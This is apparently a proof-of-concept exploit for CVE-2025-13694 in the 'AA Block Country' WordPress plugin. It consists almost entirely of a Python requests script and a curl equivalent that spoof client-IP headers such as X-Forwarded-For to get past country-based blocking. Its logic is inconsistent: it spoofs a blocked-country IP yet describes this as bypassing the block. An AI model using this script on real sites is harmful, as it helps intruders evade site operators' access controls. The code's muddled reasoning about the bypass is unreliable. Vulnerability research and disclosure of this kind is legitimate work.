CVE-2025-13694

# CVE-2025-13694 PoC - IP Address Spoofing in AA Block Country Plugin # This PoC demonstrates how to bypass IP-based country blocking import requests target_url = "http://target-wordpress-site.com/" blocked_country_ip = "203.0.113.0" # Example blocked IP headers = { "X-Forwarded-For": blocked_country_ip, # Spoof the IP address # Alternative headers that may also be trusted: # "X-Real-IP": blocked_country_ip, # "Client-IP": blocked_country_ip, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # If the plugin trusts X-Forwarded-For, the request will be processed # as if it originated from the blocked_country_ip, bypassing the block # Simple curl equivalent: # curl -H "X-Forwarded-For: 203.0.113.0" http://target-wordpress-site.com/
